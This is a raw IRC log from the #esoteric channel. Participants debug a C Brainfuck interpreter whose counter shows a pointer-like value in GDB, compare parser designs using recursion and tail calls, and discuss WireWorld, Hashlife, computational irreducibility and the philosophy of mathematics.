PRIVMSG #esoteric :augurithm < 1267724145 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Hmm. count = 1; count++;count++;(according to GDB)$8 = 4196080 < 1267724155 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :... 3 = 4196080. < 1267724160 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION hates C.
< 1267724173 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :you don't hate C :P < 1267724290 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :!c printf("%x",4196080); < 1267724302 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :4006f0 < 1267724308 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :hmm < 1267724318 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :that looks like a pointer value to me < 1267724319 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :!c printf("%d",0x4196080); < 1267724320 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :68771968 < 1267724379 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Yes, being aligned like that and near 0x400000, it looks really rather pointery. < 1267724385 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I think that 0x4006f0 is in libc this week. :/ < 1267724400 0 :kar8nga!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267724409 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :0x400000 and nearby regions tend to be in the executing program, actually. At least on Linux. < 1267724410 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Damn. < 1267724413 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :(prelinked system) < 1267724419 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :This is just amazing. (http://www.quinapalus.com/wires11.html) < 1267724427 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :six hex digits, most of which are 0, always looks pointery to me < 1267724433 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :unless it looks even more strongly like something else < 1267724441 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : Hmm. count = 1; count++;count++;(according to GDB)$8 = 4196080 < 1267724441 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : ... 3 = 4196080. < 1267724443 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what the heck? < 1267724448 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: is that the WireWorld CPU? < 1267724452 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :scarf, yes. < 1267724467 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION dumps the prelink table
< 1267724476 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, is count a pointer? < 1267724482 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :scarf, is that not more than enough reason to jizz your pants upon eye contact? < 1267724485 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: It's an int. < 1267724490 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Initialised to 1. < 1267724492 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: it's pretty impressive < 1267724501 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, so 1+1+1 = 4196080 according to gdb? < 1267724502 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :it would be even nicer if it could somehow be made TC, say by repeating a region < 1267724508 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Yes. < 1267724530 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, does it do something in between those assign and increment? < 1267724532 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :the program I mean < 1267724535 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: and the only reason I'm not getting very impressed immediately is that I've seen it before, and things are never quite as impressive the second time < 1267724537 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :scarf, I find it simply incredible that one can construct entire computer architectures just from a simple set of rules for a cellular automaton. < 1267724539 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Comparisons. < 1267724551 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, no assigning elsewhere? < 1267724554 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: well, the rules for transistors are pretty simple < 1267724559 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :None. < 1267724560 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :scarf, that's true. < 1267724569 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :The function is not even left. < 1267724569 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, then I suggest you put a watch on that value < 1267724588 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :scarf, I think one of the biggest challenges, once you have the idea in mind, is getting the pulses timed perfectly. < 1267724598 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION shall poke at it again in a bit.
< 1267724604 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :even that isn't too hard with a debugger, you can even do it by trial and error < 1267724609 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION remembers his experiences messing with Rubicon
< 1267724621 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :the trick is to be able to test a small bit of it at a time < 1267724630 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :scarf, you don't even need a debugger. Just a cellular automata simulator. Lawl. :) < 1267724640 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :that effectively is a debugger < 1267724644 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :after all, you can see all the internals < 1267724645 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Troof. < 1267724656 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :I can see a lot a trial and error happening. < 1267724672 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: have you seen Rubicon? http://kevan.org/rubicon/ < 1267724679 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :it's a computer game based on http://esolangs.org/wiki/RUBE < 1267724685 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :It's definitely my favorite configuration for any automaton...next is the turing machine in Life. < 1267724690 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Oh, NICE. < 1267724717 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, well put a watch on it. And if this is actually C++ I shall kill you < 1267724794 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, also I suggest valgrind, especially with that -tool=exp-ptrcheck < 1267724800 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I'm just futzing with my BF interpreter again while drinking coffee to try and wake up. < 1267724818 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I decided to make it not use getdelim (a GNU extension), and am now having issues. < 1267724857 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, yes count=1; count++; count++ giving count=4196080 is definitely wrong < 1267724858 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :scarf, I'm still trying to trace the entire thing. < 1267724868 0 :Gracenotes!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1267724870 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :And yes, it's C. It's very rare that I write code in C++. < 1267724876 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, but why would a bf interpreter need getdelim at all? < 1267724881 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :(too much agony to be had there) < 1267724900 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Read the entire Brainfuck file into memory. < 1267724905 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, aren't there enough BF interpreters in the world? < 1267724932 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: Yes. Because they're easy to write, and they can solve boredom for a short period of time. < 1267724935 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, yes and? < 1267724948 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: ... And then parse the entire thing from memory. < 1267724971 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, I mean, you just read/parse char by char ignoring any non-instructions < 1267724981 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Yes. < 1267724984 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :I wrote my first BF interpreter in x86 Asm...of course, it failed epicly. < 1267724994 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :There's a reason I'm changing it to *not* use getdelim. ;) < 1267724997 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, [ ] I handle by making my parser recursive < 1267725011 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, I can't even think of how getdelim could be *useful at all* < 1267725013 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :for this < 1267725021 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :It's slightly easier. < 1267725025 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, than? < 1267725042 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :fgetc. < 1267725073 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, mmap and for (i=0; i< routines. < 1267725185 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, as for parser being tail recursive: huh < 1267725187 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :(they RLE) < 1267725187 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :The way I handled [ was pushing the offset in the source and incrementing my number-of-unbalanced-['s-variable, and popping and jumping if ] was hit and the balance flag was nonzero. :) < 1267725200 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :It was slightly messy. < 1267725222 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well, you are basically emulating a stack there < 1267725238 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I just thought "why would I do that, I can just call myself recursively" < 1267725245 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :then let the C stack do the job < 1267725254 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Yes, my handling of loops is non-tailcall recursion. < 1267725254 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Because C is nicer. < 1267725258 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :anyway, I put the instructions in a linked list < 1267725263 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :with down-links for loops < 1267725264 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :iirc < 1267725273 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :As am I. < 1267725295 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, oh? didn't you say it was tail call a second ago? < 1267725300 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Hand-optimised the "tail call modulo cons" into a normal tail-call. < 1267725316 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :You could always construct it in Asm and interface with the C stdlib...what platform are you writing it for? < 1267725316 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: It is. < 1267725331 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Here's an example: bfparse(f, &(*accum)->tail); < 1267725363 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :static void bfparse(FILE *f, list *accum); // the declaration < 1267725423 0 :tombom_!tombom@wikipedia/Tombomp JOIN :#esoteric < 1267725599 0 :tombom!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1267725641 0 :oklopol!~oklopol@a91-153-117-208.elisa-laajakaista.fi JOIN :#esoteric < 1267725643 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :o < 1267725646 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :o < 1267725708 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :ooko < 1267725729 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :so what if we assumed an impossible object, then proved some properties of it, think there might be incredibly pretty theorems that just happen to require objects that can't be constructed? < 1267725796 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :what if some of the proofs that true = false => anything, in some logical systems, actually happened to be really interesting, but we just never looked because that would be ridiculously insane < 1267725809 0 :Gracenotes!~person@wikipedia/Gracenotes JOIN :#esoteric < 1267725825 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :we have to ask these questions ppl < 1267726088 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :well actually we don't. < 1267726134 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, ah... I made mine a while loop and body recursive for [ < 1267726151 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :lament: you're such a THEIST. < 1267726154 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Eh, wouldn't be hard to do that. < 1267726167 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Just a matter of manually doing the tail call optimisation. < 1267726179 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, well sure < 1267726187 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :oh this game rubeicon is going to take time :( < 1267726192 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, but what about tail call for [ ? < 1267726216 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :... What tail call? < 1267726219 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :rubicon? is that a flash game or ascii or what was it? < 1267726229 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy, iirc I solved all the included levels in about 15 minutes in total first time I played it < 1267726238 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :It's not a tail call if you then do something afterwards. < 1267726240 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oklopol, java < 1267726243 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :That's just a *call*. < 1267726243 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :okay cool < 1267726255 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :well the fact you considered it trivial isn't cool < 1267726256 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, I meant the descending into the loop bodyu < 1267726257 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :body* < 1267726262 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :that sucks < 1267726276 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Yes, that's not a tail call. < 1267726283 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Implementing Brainfuck in CPS would let you pre-allocate a single continuation (because you know the maximum nesting depth) but at that point it's not very different from using your own stack. < 1267726287 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, -_- I know that < 1267726298 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, I just challenged you to make your parser *fully* tail recursive < 1267726302 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :that's a lot faster than me < 1267726302 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Then "what about tail call for [" makes no bloody sense. < 1267726303 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :even for loop bodies < 1267726306 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Ah. < 1267726307 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, ^ < 1267726324 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :That's a simple matter of manually doing CPS or a stack. < 1267726335 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Pointless, but simple. < 1267726342 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :bbl < 1267726389 0 :angstrom!unknown@unknown.invalid PART #esoteric :? < 1267726751 0 :kar8nga!~kar8nga@jol13-1-82-66-176-74.fbx.proxad.net JOIN :#esoteric < 1267726853 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, found out why the ++ was broken btw? < 1267726863 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :No, not been looking at it. < 1267726867 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, a watch out to find exactly where in between it was modified < 1267726879 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I strongly doubt that ++ itself adds more than 1 < 1267727681 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :that game pissed me off < 1267727688 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :it doesn't save your plcae < 1267727994 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy, can't you skip forward iirc? < 1267728001 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :also it is trivial to solve it in one run < 1267728145 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :guys < 1267728146 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :I’ve built a whole science out of studying the universe of possible programs–and have discovered that even very simple ones can generate all sorts of rich and complex behavior. < 1267728299 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :That sounds like it could very well be a new kind of science. < 1267728305 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1267728548 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Alrighty, this is about to drive me up the wall! Someon help... < 1267728548 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :"one of the discoveries of NKS is a phenomenon I call computational irreducibility–which says that many systems that appear complex will have behavior that can never be “reduced” in general to a simpler computation." :S < 1267728575 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :that seems completely trivial result from complexity theory..? < 1267728660 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Is it impossible in Wireworld to make a transistor that halves the flow of a 4-micron current? < 1267728715 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: I have no idea what it means, given that he scare-quotes "reduce" but doesn't define it < 1267728725 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :I've been trying and it seems that parity doesn't allow it. If I delay the transistor's pulse by one, it's too slow, and if I speed it by one, it's too fast. < 1267728731 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :I've tried everything. < 1267728775 0 :cheater99!unknown@unknown.invalid QUIT :Quit: Verlassend < 1267728798 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Most "mathematical philosophy" is garbage because most "mathematical philosophers" have never seriously studied philosophy. < 1267728815 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :(or mathematics) < 1267728840 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :most "philosophy" is garbage because most "philosophers" have never seriously studied philosophy. < 1267728847 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :I think there's just not enough of a gap to make it work. I think the gap might have to be an odd number for a transitstor to work. :| < 1267728852 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :see ##philosophy for the dumbest channel on freenode < 1267728853 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1267728866 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :*transistor < 1267728919 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Mathematical philosophy? I've never heard of it, but it sounds ridiculous. Mathematics is precise, but philosophy is abstract and arbitrary. < 1267728935 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: philosophy *of* mathematics < 1267728941 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: do numbers exist??? < 1267728947 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :That doesn't make much sense either. < 1267728950 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :it's somewhat of a valid question < 1267728978 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :what is a number < 1267728979 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: Books like "New Kind of Science" and "Goedel, Escher, Bach" qualify as "mathematical philosophy" to me. < 1267728980 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :That's a valid question, but it's not profound enough to consider it philosophy. < 1267728995 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Not the same as philosophy of mathematics, quite. < 1267729001 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: what. < 1267729010 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :what's the threshold for profoundness then? < 1267729023 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :I guess it's up to the person asking. < 1267729038 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :or rather, what branch of science should address this question, if not philosophy of mathematics? < 1267729044 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid, philosophy just means critical thinking it doesn't have to be profound but obvious profound stuff is some of the best/most famous philosophy < 1267729053 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :I don't think it's a question worth addressing, personally. < 1267729053 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :obviously* < 1267729073 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: why, is the answer obvious? < 1267729081 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :It's obvious to me. < 1267729093 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :what is the answer?? < 1267729107 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :There is no definite answer, for sure. < 1267729110 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :... < 1267729114 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :But... < 1267729126 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid philosophy doesn't care if there's a definite answer or not < 1267729134 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid the whole point is the journey < 1267729143 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :It depends on how you define "numbers". < 1267729153 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :"Computational irreducibility" seems to be "You can't predict the final state of a (complex) program without running it". Sounds like a layman-formatted version of undecidability to me. < 1267729154 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :(although some philosophers say that if there is a definite answer it's not philosophy any more, I don't agree with that) < 1267729174 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, yeah I can't understand why it is even mentioned it is so weird.. < 1267729200 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: To sell more copies of Mathematica, of course. < 1267729208 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Wolfram is a marketing machine. < 1267729234 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, that's some crazy shit. What exactly isn't predictable but that's traceable? < 1267729268 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid, imagine some terribly complicated progarm that happend to always print 1 :P < 1267729299 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: Well, take the Life automaton for example. If I give you a random starting configuration, can you tell me if there will eventually be a glider at some coordinates (x, y)? < 1267729436 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, are you asking if I -personally- can predict it, or if -anything- could predict it? < 1267729477 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :((p nand q) nand r) nand (p nand ((p nand r) nand p)) = r < 1267729493 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :apparently that's all you need to define nand ? :| < 1267729505 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: Well, not you personally :) Say "any computer program". < 1267729511 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :where's oklopol < 1267729513 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :can clue do that? < 1267729514 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :here < 1267729521 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :oh my god are you arelly there! < 1267729521 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1267729541 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Bootstrapped NAND, I never thought of that. Nice. < 1267729546 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, I do remember reading about complicated algorithms that could calculate a future generations without simulating each generation seperately, IIRC. < 1267729560 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, is that what you mean? < 1267729652 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, but without simulating it, I guess you could say you can't calculate when the next time state N will occur. < 1267729655 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: Assuming such algorithms exist -- yes, I'm referring to the fact that running those algorithms are tantamount to running the Life automaton. < 1267729688 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Features, schemeatures: added that thing into twungot where it replies whenever someone tweets with the string @fungot in it. < 1267729689 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: indeed, do any search for air france 296 < 1267729710 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: It all derives from the Halting Problem. < 1267729720 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, yep. < 1267729740 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :but what is the meaning of it all? < 1267729746 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :lament :( < 1267729785 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, so you can't calculate the next time state N will occur without actually running the program. < 1267729786 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :I see. < 1267729807 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :(or a more complicated version of the program) < 1267729809 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: Not *in general*, no. In some special cases, yes. < 1267729862 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Like, if I have a set of configurations where I've already run them and cached where the gliders end up, and you give me a configuration that happens to be one of those... as a trivial example. < 1267729863 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, yep. < 1267729892 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, I'm thinking of Hashlife. < 1267729898 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, *facedesk* < 1267729925 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Ah, I see. < 1267729926 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION 's todo list contains: implement/understand hashlife
< 1267729935 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :something which I probably wont actually ever do... < 1267729944 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, it looks like a kind of abstract interpretation of Life. < 1267729973 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy, I don't understand it, and I doubt I ever will. < 1267729984 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Thing is, there will always be some Life configurations where running them in Hashlife won't be any faster. < 1267729986 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :I don't imagine it's very difficult < 1267730025 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION 's todo list contains "understand and implement generalized abstract interpretation" :)
< 1267730047 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :lament but what does it mean to understand something? < 1267730071 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, I was under the impression Hashlife doesn't iterate generations at all, but it seems like it does...just, a lot faster. < 1267730174 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Hashlife just works by noting that Life patterns are highly redundant. And so, it can memoise the iteration of patterns. < 1267730179 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :It looks like it does iterate generations, at first, and as it does so, it "recognizes" the patterns in them. After it has recognized the patterns, it uses them to process the evolution. < 1267730185 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: but what does mean mean? < 1267730243 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :For instance -- gliders. It can, instead of computing each and every cell in the glider pattern, simply fetch the next needed portion of the pattern out of its hash table. < 1267730283 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Thing is, (and I'm basing this on the idea that Life is TC), it should be possible to find Life forms that don't get significantly simpler over time. Some kind of puffer train which grows utter crap behind it comes to mind. < 1267730292 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: Will it reply to @fungotfoobar as well? < 1267730293 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: oznaczono jako spam lmmfao that had me laughing the whole films takes place in slow motion affect you can hear the engiens running, it would be 2 flight crew, and not what you'd expect! < 1267730324 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :f(z) = z < 1267730324 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :This map is called the identity map, and is extremely boring. < 1267730335 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :whatusedtobefungotboring < 1267730336 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :lament: i personally liked the mr. potato head one.... really awesome, and not a single reply before posting the same 24-second video that was a " man" a " pussy" a high vocabulary level. < 1267730360 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :cpressey 